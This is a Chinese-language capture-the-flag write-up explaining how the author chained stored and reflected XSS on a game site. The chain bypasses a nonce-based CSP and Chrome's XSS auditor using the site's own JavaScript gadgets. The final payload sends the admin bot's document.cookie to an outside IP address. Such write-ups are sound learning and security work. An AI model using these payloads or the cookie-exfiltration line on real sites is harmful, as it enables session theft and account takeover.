首先经过测试,很容易发现此题存在两个xss
第一个在发表签名的页面(存储型)
此页面的csp如下:
第二个就是首页的反射型xss
https://h4x0rs.club/game/?msg=wupco888<img>
csp稍稍宽松一点:
看了下整个站禁用了浏览器缓存
想要获取nonce基本是不可能了(只有一个输入点,且输出点附近没有带nonce的标签,没有开缓存),只能看看这个站自带的js去寻找出路了。
通过这里我可以看到其实原生js有很多对某些class、id的标签做了某些处理
这里我也找到了upgrade接口可以提升自己的等级,这样对应id的标签就会被移除,但是输出点比较靠后,首先被移除的都是原生的标签,
这里如果要玩的话,只能这么玩
<body> or <html>,他会首先选中这两个标签的 orz
既然这里没有突破口,我们利用这种思路去找找其他对标签的操作呢?
很快,我在https://h4x0rs.club/game/javascripts/app.js定位到
b()函数会对class=’js-user’的标签添加 id=‘audiences ’标签的内容,于是再跟一下,哪里调用了b()
调用它的函数是T()
当首页游戏开始的时候,T()开始被循环调用,用于检测游戏时间,如果游戏时间为0,则调用b(),代表游戏结束了。
于是我可以构造如下payload
</div></div></div></div><body class="js-user"> <div id="audiences"><script>alert(1)</script></div></body><!—
在firefox下可以触发xss(此处因为是dom节点后插入的script标签,所以可以bypass nonce)
但是chrome却因为xss auditor的问题会被拦截,于是稍微修改一下payload
</div></div></div></div><script class="js-user"></script> <div id="audiences">alert(1) </div></body><!—
因为script标签里没有内容的关系,不会被xss auditor拦截,但是如果我们点击开始游戏,等待10s游戏结束后,audiences这个div里面的alert(1)就会被插入script里面,于是就成功触发payload。
现在要解决的问题是:把这个uxss转换为autoxss。
继续审计js会发现首页还存在一个自动点击的操作。
(client.js)
js-difficulty这个类的标签的所有children都会被点击
通过(app.js) 我发现
当id = play-btn的标签被点击,就会开始游戏
完美!
接下来我们就开始利用这些gatget构造我们的payload吧
</div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div><div class="button button--small button--blue js-difficulty d-flex justify-content-center align-items-center button js-start-button grow button--green d-flex justify-content-center align-items-center" id="play-btn" ><i class="icon ion-play"></i></div> <script class="js-user"></script><div id="audiences">alert(1)</div></body> <!--
good!
因为提交给管理员的只能是你的个人前面页面,所以在个人签名那里注入<meta>标签跳转到我的vps,我的vps再跳转到这个反射xss的地方就ok了
</textarea><meta http-equiv="refresh" content="0;url=http://123.206.216.198/wupco.html" />
但是,这题远没有这么简单,我迟迟收不到cookie 。
后来觉得可能是整个流程时间太长了(游戏时间为10s),xss bot超时退出了
于是想办法缩减游戏时间吧!
继续看T()
他是通过读取id = timer .seconds标签内容当做当前剩余秒数的,如果我们构造一个time.seconds 标签,秒数是00会发生什么?
很不幸的是,js读取标签内容会将内容合并,也就是自带了一个剩余10s的标签,加上我这个标签,就变成’1000’秒!!
想到可以利用弱类型判断的问题,我构造一个值为e-2的标签,然后拼接起来是10e-2
也就是0.1s
就此,完成整个payload:
</div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div><div class="timer d-flex p mb-3 flex-md-row grow align-items-stretch" id="timer"> <div class="timer__display screen d-flex justify-content-center"> <div class="align-self-center font-weight-fat"><span class="minutes">00</span> <span class="colon">: </span> <span class="seconds">e-2</span></div> </div> </div> <div class="button button--small button--blue js-difficulty d-flex justify-content-center align-items-center button js-start-button grow button--green d-flex justify-content-center align-items-center" id="play-btn" ><i class="icon ion-play"></i></div><script class="js-user"> </script><div id="audiences">location.href=' http://123.206.216.198/cookie.php?msg='+document.cookie</div></body><!—
最后同样的,把这个url编码下放到vps上用作跳转,即可getflag
航哥我着火了